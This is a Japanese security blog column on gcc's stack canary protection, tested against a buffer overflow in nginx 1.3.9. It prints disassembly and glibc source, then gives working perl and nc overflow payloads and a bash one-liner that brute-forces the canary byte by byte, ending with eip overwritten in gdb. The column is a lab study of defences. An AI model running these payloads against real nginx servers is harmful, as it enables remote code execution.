スマートフォン解析 top

TOP > タイガーチームセキュリティレポート > Buffer Overflow脆弱性の動的パッチの方法 - Part 4

タイガーチームセキュリティレポート

Buffer Overflow脆弱性の動的パッチの方法 - Part 4

少し間が空きましたが、前回からの続きで今回はgccに実装されたSSP(Stack Smashing Protection)についてみていきます。


-SSP in Action-

早速gccのSSPを使ってみることにします。

SSPを有効にするにはgccに-fstack-protectorや-fstack-protector-allなどの引数を渡します。

-fstack-protectorはbuffer overflowの恐れのある一部の関数に対してのみSSPを有効化しますが、-fstack-protector-allを使用した場合はすべての関数に対してSSPが有効になります。これらのオプションを使う場合は、パフォーマンスへの影響を考慮する必要があります。

今回は-fstack-protector-allを使います。

以下で実際にnginx-1.3.9のビルド時に-fstack-protector-allをつけた場合にbuffer overflowに対して脆弱な関数ngx_http_read_discarded_request_body()の先頭(prologue)と末尾(epilogue)の生成されたアセンブリコードがどうなっているか観察してみます。

0808219a <ngx_http_read_discarded_request_body>:
 808219a:       57                      push   %edi
 808219b:       56                      push   %esi
 808219c:       53                      push   %ebx
 808219d:       81 ec 50 10 00 00       sub    $0x1050,%esp
 80821a3:       89 c3                   mov    %eax,%ebx
 80821a5:       65 a1 14 00 00 00       mov    %gs:0x14,%eax
 80821ab:       89 84 24 4c 10 00 00    mov    %eax,0x104c(%esp)
 80821b2:       31 c0                   xor    %eax,%eax

*snip*

 808229e:       8b bc 24 4c 10 00 00    mov    0x104c(%esp),%edi
 80822a5:       65 33 3d 14 00 00 00    xor    %gs:0x14,%edi
 80822ac:       74 05                   je     80822b3 <ngx_http_read_discarded_request_body+0x119>
 80822ae:       e8 cd 7b fc ff          call   8049e80 <__stack_chk_fail@plt>
 80822b3:       81 c4 50 10 00 00       add    $0x1050,%esp
 80822b9:       5b                      pop    %ebx
 80822ba:       5e                      pop    %esi
 80822bb:       5f                      pop    %edi
 80822bc:       c3                      ret
objdump -d の出力より

特徴的なのはprologueの0x80821a5と0x80821abでスタック上に保存した4バイトのデータ(canary)を、epilogueの0x808229eと0x80822a5でチェックして、canaryが元の値から別の値に書き換えられていた場合には__stack_chk_fail()で(returnすることなく)異常終了するロジックが組み込まれていることです。それ以外の部分はSSPを有効化しなかった場合とほとんど同じです。

stack上に保存された戻りアドレスの前にcanaryを置いてガードするアイディアは前回にSystemTapを使って実装したものとよく似ています。

つぎにSSPを有効化したnginx-1.3.9に対してngx_http_read_discarded_request_body()の戻りアドレスをこれまでと同じ方法でbuffer overflowの脆弱性を利用して任意の値に書き換えようとした場合にどういう結果になるか、検証してみることにします。

まず端末A上でnginxにdebuggerをattachしておきます。

[root@fedora32 ~]# ps -ef | grep nginx
root      4350     1  0 09:14 ?        00:00:00 nginx: master process nginx-1.3.9+/sbin/nginx
nobody    4351  4350  0 09:14 ?        00:00:00 nginx: worker process
root      4429  4404  0 09:15 pts/2    00:00:00 grep --color=auto nginx
[root@fedora32 ~]# gdb -q --pid=4351
Attaching to process 4351
Reading symbols from /usr/local/nginx-1.3.9+/sbin/nginx...done.
Reading symbols from /lib/libpthread.so.0...Reading symbols from /usr/lib/debug/lib/libpthread-2.18.so.debug...done.
done.
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/libthread_db.so.1".
Loaded symbols for /lib/libpthread.so.0
Reading symbols from /lib/libcrypt.so.1...Reading symbols from /usr/lib/debug/lib/libcrypt-2.18.so.debug...done.
done.
Loaded symbols for /lib/libcrypt.so.1
Reading symbols from /lib/libpcre.so.1...Reading symbols from /usr/lib/debug/usr/lib/libpcre.so.1.2.1.debug...done.
done.
Loaded symbols for /lib/libpcre.so.1
Reading symbols from /lib/libcrypto.so.10...Reading symbols from /usr/lib/debug/usr/lib/libcrypto.so.1.0.1e.debug...done.
done.
Loaded symbols for /lib/libcrypto.so.10
Reading symbols from /lib/libz.so.1...Reading symbols from /usr/lib/debug/usr/lib/libz.so.1.2.8.debug...done.
done.
Loaded symbols for /lib/libz.so.1
Reading symbols from /lib/libc.so.6...Reading symbols from /usr/lib/debug/lib/libc-2.18.so.debug...done.
done.
Loaded symbols for /lib/libc.so.6
Reading symbols from /lib/ld-linux.so.2...Reading symbols from /usr/lib/debug/lib/ld-2.18.so.debug...done.
done.
Loaded symbols for /lib/ld-linux.so.2
Reading symbols from /lib/libfreebl3.so...Reading symbols from /usr/lib/debug/usr/lib/libfreebl3.so.debug...done.
done.
Loaded symbols for /lib/libfreebl3.so
Reading symbols from /lib/libdl.so.2...Reading symbols from /usr/lib/debug/lib/libdl-2.18.so.debug...done.
done.
Loaded symbols for /lib/libdl.so.2
Reading symbols from /lib/libnss_files.so.2...Reading symbols from /usr/lib/debug/lib/libnss_files-2.18.so.debug...done.
done.
Loaded symbols for /lib/libnss_files.so.2
0xb7fff424 in __kernel_vsyscall ()
(gdb) cont
Continuing.

一方で別の端末B上でnginxに細工したHTTPリクエストを送信して戻りアドレスを0xdeadbeefに書き換えられるか試みます。

[acruel@fedora32 ~]$ perl -e 'print "GET / HTTP/1.1\r\nHost: localhost\r\nTransfer-Encoding: chunked\r\n\r\n" . "a"x961 . "b"x4096 . "\xef\xbe\xad\xde"x32' | nc -n -v 127.0.0.1 80
Ncat: Version 6.45 ( http://nmap.org/ncat )
Ncat: Connected to 127.0.0.1:80.

端末Aに戻って結果を確認するとSegmentation faultが発生していますが、eipは狙った値(0xdeadbeef)には書き換えられなったことがわかります。

Program received signal SIGSEGV, Segmentation fault.
uw_frame_state_for (context=context@entry=0xbfffd4f0, fs=fs@entry=0xbfffd570) at /../libgcc/unwind-dw2.c:1253
1253          return MD_FALLBACK_FRAME_STATE_FOR (context, fs);
(gdb) info registers
eax            0xbfffd4f0       -1073752848
ecx            0xbfffed90       -1073746544
edx            0xdeadbeef       -559038737
ebx            0x4e8df000       1317924864
esp            0xbfffd480       0xbfffd480
ebp            0xbfffd638       0xbfffd638
esi            0xbfffd570       -1073752720
edi            0xbfffd630       -1073752528
eip            0x4e8d75b1       0x4e8d75b1 <uw_frame_state_for+993>
eflags         0x210246 [ PF ZF IF RF ID ]
cs             0x73     115
ss             0x7b     123
ds             0x7b     123
es             0x7b     123
fs             0x0      0
gs             0x33     51
(gdb) 

原因は、stack上に保存されたngx_http_read_discarded_request_body()の戻りアドレスを書き換える際にランダム値のcanaryも別の値に書き換えてしまったため書き換えた戻りアドレス(0xdeadbeef)にreturnする前に__stack_chk_fail()で終了してしまったためです。これはSSPに期待する通りの動作です。

ここでSSPの実際の動作をみたので、先に進む前にcanaryの値がどのように初期化されているか、glibcのコードを眺めてみましょう。


-SSPの実装-

上でみたようにcanaryはセグメントレジスタgsが指すTLS(Thread Local Storage)のoffset 0x14に格納されています。これはcs(code segment), ds(data segment), ss(stack segment)とは違うセグメントを指しているので通常のlinear addressで参照したり別の値に書き換えることはできません。

プログラムからこれを参照する場合は上のアセンブリコードのようにsegment override prefixとして%gsを指定する必要があります。

つぎにglibc 2.18からcanaryの初期化コードをみてみます。canaryはsecurity_init()で初期化されます。

 848 static void
 849 security_init (void)
 850 {
 851   /* Set up the stack checker's canary.  */
 852   uintptr_t stack_chk_guard = _dl_setup_stack_chk_guard (_dl_random);
 853 #ifdef THREAD_SET_STACK_GUARD
 854   THREAD_SET_STACK_GUARD (stack_chk_guard);
 855 #else
 856   __stack_chk_guard = stack_chk_guard;
 857 #endif
 858 
 859   /* Set up the pointer guard as well, if necessary.  */
 860   if (GLRO(dl_pointer_guard))
 861     {
 862       uintptr_t pointer_chk_guard = _dl_setup_pointer_guard (_dl_random,
 863                                                              stack_chk_guard);
 864 #ifdef THREAD_SET_POINTER_GUARD
 865       THREAD_SET_POINTER_GUARD (pointer_chk_guard);
 866 #endif
 867       __pointer_chk_guard_local = pointer_chk_guard;
 868     }
 869 
 870   /* We do not need the _dl_random value anymore.  The less
 871      information we leave behind, the better, so clear the
 872      variable.  */
 873   _dl_random = NULL;
 874 }
elf/rtld.c

852行目の_dl_setup_stack_chk_guard()で生成した乱数を854行目のTHREAD_SET_STACK_GUARDでTLSに格納しています。これがcanaryに相当する値です。_dl_setup_stack_chk_guard()の処理を追ってみると/dev/urandomから4バイトの乱数を取得していることがわかります。

マクロであるTHREAD_SET_STACK_GUARDはさらに別のマクロTHREAD_SETMEMに展開されます。

下のTHREAD_SETMEMの定義を読んでみると、上のアセンブリコードで出てきたメモリ参照%gs:0x14のoffset 0x14は構造体メンバのoffsetであるoffsetof (struct pthread, header.stack_guard)に相当する値であることも読み取れます。

331 # define THREAD_SETMEM(descr, member, value) \
332   ({ if (sizeof (descr->member) == 1)                                         \
333        asm volatile ("movb %b0,%%gs:%P1" :                                    \
334                      : "iq" (value),                                          \
335                        "i" (offsetof (struct pthread, member)));              \
336      else if (sizeof (descr->member) == 4)                                    \
337        asm volatile ("movl %0,%%gs:%P1" :                                     \
338                      : "ir" (value),                                          \
339                        "i" (offsetof (struct pthread, member)));              \
340      else                                                                     \
341        {                                                                      \
342          if (sizeof (descr->member) != 8)                                     \
343            /* There should not be any value with a size other than 1,         \
344               4 or 8.  */                                                     \
345            abort ();                                                          \
346                                                                               \
347          asm volatile ("movl %%eax,%%gs:%P1\n\t"                              \
348                        "movl %%edx,%%gs:%P2" :                                \
349                        : "A" ((uint64_t) cast_to_integer (value)),            \
350                          "i" (offsetof (struct pthread, member)),             \
351                          "i" (offsetof (struct pthread, member) + 4));        \
352        }})

*snip*

436 #define THREAD_SET_STACK_GUARD(value) \
437   THREAD_SETMEM (THREAD_SELF, header.stack_guard, value)
nptl/sysdeps/i386/tls.h

以上がglibcから抜粋したcanaryの初期化部分です。


-SSPの回避-

今度は攻撃者の立場にたってnginxに適用したSSPを回避することを考えてみます。

何度かdebuggerをnginxのworker processにattachしてみればわかりますが、あるworker processのcanaryを書き換えたことによりそのworker processが異常終了して別のworker processが生成されても、生成された新しいworker processは同じcanaryを持っています。

これはmaster processがworker processをforkした際にcow(copy on write)で同じメモリ領域が共有されるためですが、この性質を利用すると攻撃者は4バイトのcanaryの値を下位バイトから1バイトずつ総当たり攻撃することができます。

まずcanaryの最下位バイトを推測するにはcanaryを1バイトだけ書き換えるようにbuffer overflowを発生させつつ、書き換える1バイトの値を少しずつ変化させていきます。それがcanaryの最下位バイトと同じ値であった場合、worker processは終了せず、正常にHTTPレスポンスを返すはずです。最下位バイトが判明したら同じ手順を4回繰り返して4バイトのcanaryの値を得ることができます。

canaryの値を得たらstack上のcanaryを壊すことなくその先(上位アドレス)にある関数の戻りアドレスを好きな値に書き換えることができます。

実際に試してみましょう。上の総当り手順を(quick and dirtyに)bashで記述して実行したものが以下です。酷いコードですが、応答としてnginxから4回の正常なHTTPレスポンス(400 Bad Request)が返っています。それぞれがcanaryの1バイトに対応しています。

[acruel@fedora32 ~]$ canary=(); for i in `seq 0 255`; do perl -e 'print "GET / HTTP/1.1\r\nHost: localhost\r\nTransfer-Encoding: chunked\r\n\r\n" . "a"x961 . "b"x4096 . "\x'`printf "%02x" $i`'"' | nc -n 127.0.0.1 80 | grep "Bad Request"; if [ $? -eq 0 ]; then printf "\n+ 1st byte = 0x%02x \n\n" $i; canary[0]=$i; break; fi; done; for i in `seq 0 255`; do perl -e 'print "GET / HTTP/1.1\r\nHost: localhost\r\nTransfer-Encoding: chunked\r\n\r\n" . "a"x961 . "b"x4096 . "\x'`printf "%02x" ${canary[0]}`'\x'`printf "%02x" $i`'"' | nc -n 127.0.0.1 80 | grep "Bad Request"; if [ $? -eq 0 ]; then printf "\n+ 2nd byte = 0x%02x \n\n" $i; canary[1]=$i; break; fi; done; for i in `seq 0 255`; do perl -e 'print "GET / HTTP/1.1\r\nHost: localhost\r\nTransfer-Encoding: chunked\r\n\r\n" . "a"x961 . "b"x4096 . "\x'`printf "%02x" ${canary[0]}`'\x'`printf "%02x" ${canary[1]}`'\x'`printf "%02x" $i`'"' | nc -n 127.0.0.1 80 | grep "Bad Request"; if [ $? -eq 0 ]; then printf "\n+ 3rd byte = 0x%02x \n\n" $i; canary[2]=$i; break; fi; done; for i in `seq 0 255`; do perl -e 'print "GET / HTTP/1.1\r\nHost: localhost\r\nTransfer-Encoding: chunked\r\n\r\n" . "a"x961 . "b"x4096 . "\x'`printf "%02x" ${canary[0]}`'\x'`printf "%02x" ${canary[1]}`'\x'`printf "%02x" ${canary[2]}`'\x'`printf "%02x" $i`'"' | nc -n 127.0.0.1 80 | grep "Bad Request"; if [ $? -eq 0 ]; then printf "\n+ 4th byte = 0x%02x \n\n" $i; canary[3]=$i; break; fi; done; printf "! canary = 0x%02x%02x%02x%02x \n\n" ${canary[3]} ${canary[2]} ${canary[1]} ${canary[0]} <ENTER>
HTTP/1.1 400 Bad Request
<head><title>400 Bad Request</title></head>
<center><h1>400 Bad Request</h1></center>
+ 1st byte = 0x00 
HTTP/1.1 400 Bad Request
<head><title>400 Bad Request</title></head>
<center><h1>400 Bad Request</h1></center>
+ 2nd byte = 0xd4 
HTTP/1.1 400 Bad Request
<head><title>400 Bad Request</title></head>
<center><h1>400 Bad Request</h1></center>
+ 3rd byte = 0xfd 
HTTP/1.1 400 Bad Request
<head><title>400 Bad Request</title></head>
<center><h1>400 Bad Request</h1></center>
+ 4th byte = 0x79 
! canary = 0x79fdd400 
[acruel@fedora32 ~]$

Whew! canaryの値がわかったので、nginxにbuffer overflowを発生させてeipを0xdeadbeefに書き換えるのは簡単です。先ほどと同様に端末A上でnginxにdebuggerをattachしておき、別の端末B上でnginxにHTTPリクエストを送信します。

[acruel@fedora32 ~]$ perl -e 'print "GET / HTTP/1.1\r\nHost: localhost\r\nTransfer-Encoding: chunked\r\n\r\n" . "a"x961 . "b"x4096 . "\x00\xd4\xfd\x79" . "JUNK"x3 . "\xef\xbe\xad\xde"' | nc -n -v 127.0.0.1 80
Ncat: Version 6.45 ( http://nmap.org/ncat )
Ncat: Connected to 127.0.0.1:80.

端末A上で結果を確認すると、期待通り0xdeadbeefにreturnしようとしてSegmentation faultが発生したことが確認できます。SSPを回避してeipを任意の値に書き換えることに成功したようです。

Program received signal SIGSEGV, Segmentation fault.
0xdeadbeef in ?? ()
(gdb) 


-まとめ-

今回紹介した方法はコンパイラの機能を利用してプログラムに静的にbuffer overflowのチェックコードを組み込む方法です。

この方法は前回のコラムで紹介した方法と違って脆弱性があるかどうかわかっていない状況で予防策として組み込んでおくことができる利点があります。ただし、この対策も上でみたように簡単に回避できる場合がありますが保険的対策としては価値があります。


参考情報:
[1] Buffer overflow protection
http://en.wikipedia.org/wiki/Buffer_overflow_protection
[2] Linux GLibC Stack Canary Values
http://xorl.wordpress.com/2010/10/14/linux-glibc-stack-canary-values/


タイガーチームメンバー 塚本 泰三